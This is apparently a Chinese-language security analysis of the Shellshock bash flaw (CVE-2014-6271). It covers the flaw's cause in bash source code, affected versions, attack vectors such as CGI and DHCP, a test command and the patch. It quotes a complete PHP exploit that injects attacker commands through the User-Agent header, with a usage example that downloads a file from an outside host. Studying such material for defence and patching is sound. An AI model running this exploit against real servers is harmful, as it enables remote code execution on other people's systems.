CVE: 2014-6271 Bash Specially-crafted Environment Variables Code Injection Vulnerability Analysis

1. 漏洞的起因
2. 漏洞原理分析
3. 漏洞的影响范围
4. 漏洞的POC、测试方法
5. 漏洞的修复Patch

http://ss64.com/bash/env.html

Syntax
     env [OPTION]... [NAME=VALUE]... [COMMAND [ARGS]...]
1. Options
    1) -u NAME
    2) --unset=NAME
    Remove variable NAME from the environment, if it was in the environment.

    3) -i
    --ignore-environment
    Start with an empty environment, ignoring the inherited environment.

2. COMMAND [ARGS]
需要执行的指令

1. ENV指令允许临时改变环境变量，即指定本次指令执行的环境变量，这从一定程度上给了黑客进行PATH Hajaking的可能性
2. ENV指令还允许在设置环境变量后进行指令执行，从某种程度上来说，ENV相当于一个指令执行的指令，同时还附带有临时设置环境变量的功能

http://ss64.com/bash/env.html
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
http://seclists.org/oss-sec/2014/q3/651
https://access.redhat.com/node/1200223
http://seclists.org/oss-sec/2014/q3/650
https://community.qualys.com/blogs/securitylabs/2014/09/24/bash-remote-code-execution-vulnerability-cve-2014-6271

Under certain circumstances, bash will execute user code while processing the environment for exported function definitions.

http://download.chinaunix.net/download.php?id=24862&ResourceID=7

...
if (interactive_shell == 0 && read_but_dont_execute)
{
    last_result = EXECUTION_SUCCESS;
    dispose_command (global_command);
    global_command = (COMMAND *)NULL;
}
else if (command = global_command)
{
    struct fd_bitmap *bitmap;  

    /*
    这里没有对传入的command进行正确的边界检查，引入了代码注入的可能性
    */

    bitmap = new_fd_bitmap (FD_BITMAP_SIZE);
    begin_unwind_frame ("pe_dispose");
    add_unwind_protect (dispose_fd_bitmap, bitmap);
    add_unwind_protect (dispose_command, command);    /* XXX */

    global_command = (COMMAND *)NULL;
...

/* 
Initialize the shell variables from the current environment. If PRIVMODE is nonzero, don‘t import functions from 
ENV 
or
parse $SHELLOPTS. 
*/
void initialize_shell_variables (env, privmode) char **env; int privmode;
{
    ...
    create_variable_tables ();
    
    /*
    从ENV环境变量中获取参数
    */
    for (string_index = 0; string = env[string_index++]; )
    {
        char_index = 0;
        name = string;
        while ((c = *string++) && c != ‘=‘) ;
        if (string[-1] == ‘=‘)
            char_index = string - name - 1;

        /* If there are weird things in the environment, like `=xxx‘ or a
            string without an `=‘, just skip them. */
        if (char_index == 0)
            continue;

        /* ASSERT(name[char_index] == ‘=‘) */
        name[char_index] = ‘\0‘;
        /* 
        Now, name = env variable name, string = env variable value, and char_index == strlen (name) 
        */

        /* 
        If exported function, define it now.  Don‘t import functions from the environment in privileged mode.
        解析环境变量设置中的函数定义
        */
        if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
        {
            string_length = strlen (string);
            temp_string = (char *)xmalloc (3 + string_length + char_index);

            strcpy (temp_string, name);
            temp_string[char_index] = ‘ ‘;

            strcpy (temp_string + char_index + 1, string);

            /*
            这句是关键，initialize_shell_variables对环境变量中的代码进行了执行，由于它错误的信任的外部发送的数据，形成了和SQL注入类似的场景，这句代码和PHP中的eval是类似的，黑客只要满足2个条件
            1. 控制发送的参数，并在其中拼接payload
            2. 黑客发送的包含payload的参数会被无条件的执行，而执行方不进行任何的边界检查

            这就是典型的数据和代码没有进行正确区分导致的漏洞
            */
            parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

            // Ancient backwards compatibility.  Old versions of bash exported functions like name()=() {...} 
            if (name[char_index - 1] == ‘)‘ && name[char_index - 2] == ‘(‘)
                name[char_index - 2] = ‘\0‘; 

            if (temp_var = find_function (name))
            {
                VSETATTR (temp_var, (att_exported|att_imported));
                array_needs_making = 1;
            }
            else
                report_error (_("error importing function definition for `%s‘"), name);

            /* ( */
            if (name[char_index - 1] == ‘)‘ && name[char_index - 2] == ‘\0‘)
                name[char_index - 2] = ‘(‘;        /* ) */
        }
    }
｝

1. bash(本地、ssh、cgi)允许使用ENV进行path临时设置 
2. 黑客通过自定义函数，并导出到变量中
3. BASH对环境变量的设置是通过"代码执行(EVAl)"完成的，即把ENV的参数当成code来执行，这在正常情况下是没有问题的
4. 问题的关键是BASH没有对传入的参数进行正确的边界检查，导致数据和代码的混杂，产生了和PHP EVAL Code InJection类似的漏洞
env x=‘() { :;}; echo vulnerable‘
5. 代码注入的关键点在
; echo vulnerable

http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052

bash-4.2.45-5.el7_0.2     
bash-4.1.2-15.el6_5.1 
bash-4.1.2-15.el6_5.1.sjis.1
bash-4.1.2-9.el6_2.1     
bash-4.1.2-15.el6_4.1     
bash-3.2-33.el5.1    
bash-3.2-33.el5_11.1.sjis.1    
bash-3.2-24.el5_6.1    
bash-3.2-32.el5_9.2    
bash-3.0-27.el4.2

1. 我们的攻击目标存在cmd执行的交互接口
    1) 本地交互shell：这是最直接的方式
    2) SSH：使用SSH进行bash执行需要你知道对方的ssh帐号密码
    3) FTP：需要对方开启了ftp cms的执行权限，已经你已经有了一个ftp的帐号密码
    4) cgi：需要对方开启了CGI的解析模块

2. 我们有办法设置目标(或者临时设置)的环境变量

3. 我们可以控制即将进行环境变量设置的参数 

1. httpd
    1) webserver常常将Referer、UserAgent、header等参数作为环境变量的设置源
    2) 服务器提供了CGI脚本，当 CGI script被webserver执行的时候，CGI Script会去调用Bash
黑客可以通过开启了CGI的httpd服务器进行远程代码执行

2. Secure Shell (SSH)
对于git、rsync这类远程shell来说，常常会对用户可以执行的指令进行严格限制，但是这个BASH解析漏洞提供了一个bypass的向量

3. dhclient
动态主机配置协议客户端(dhclient的)被用来通过DHCP自动获取网络配置信息。该客户端使用不同的环境变量和运行bash来配置网络接口。连接到一个恶意的DHCP服务器可能允许攻击者在客户机上运行任意代码。
黑客通过在域中的DHCP服务器中对DHCP的回送包进行特定的修改，可以达到污染dhcpclient的环境变量参数的目的，从而进行远程代码执行

4. CUPS

5. sudo

6. Firefox

poc: 
env x=‘() { :;}; echo vulnerable‘  bash -c "echo this is a test"

expected result: 
vulnerable
this is a test

//如果出现这个结果，则说明本机的bash存在漏洞

<?php
/*
Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability
CVE: 2014-6271
Vendor Homepage: https://www.gnu.org/software/bash/
Author: Prakhar Prasad && Subho Halder
Author Homepage: https://prakharprasad.com && https://appknox.com
Date: September 25th 2014
Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26
       GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd
       Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit"
Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/
 
Test CGI Code : #!/bin/bash
        echo "Content-type: text/html"
        echo ""
        echo "Bash-is-Vulnerable"
 
*/
error_reporting(0);
if(!defined(‘STDIN‘)) die("Please run it through command-line!\n");
$x  = getopt("u:c:");
if(!isset($x[‘u‘]) || !isset($x[‘c‘]))
{
die("Usage: ".$_SERVER[‘PHP_SELF‘]." -u URL -c cmd\n");
 
}
$url = $x[‘u‘];
$cmd = $x[‘c‘];
 
    $context = stream_context_create(
        array(
            ‘http‘ => array(
                ‘method‘  => ‘GET‘,
                ‘header‘  => ‘User-Agent: () { :;}; /bin/bash -c "‘.$cmd.‘"‘
            )
        )
    );
     
    if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0)
    die("Command sent to the server!\n");
    else
    die("Connection Error\n");
?>
 

http://www.exploit-db.com/exploits/34766/

1. 进行正确的边界检查，严格区分函数定义和代码注入
2. 对输入参数进行参数化防御，不允许除了允许范围之外的参数传入

/* Flags for describe_command, shared between type.def and command.def */
#define SEVAL_FUNCDEF   0x080    /* only allow function definitions */
#define SEVAL_ONECMD  0x100    /* only allow a single command */

if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)
{
    internal_warning ("%s: ignoring function definition attempt", from_file);
    should_jump_to_top_level = 0;
    last_result = last_command_exit_value = EX_BADUSAGE;
    break;
}
..
if (flags & SEVAL_ONECMD)
    break;

http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052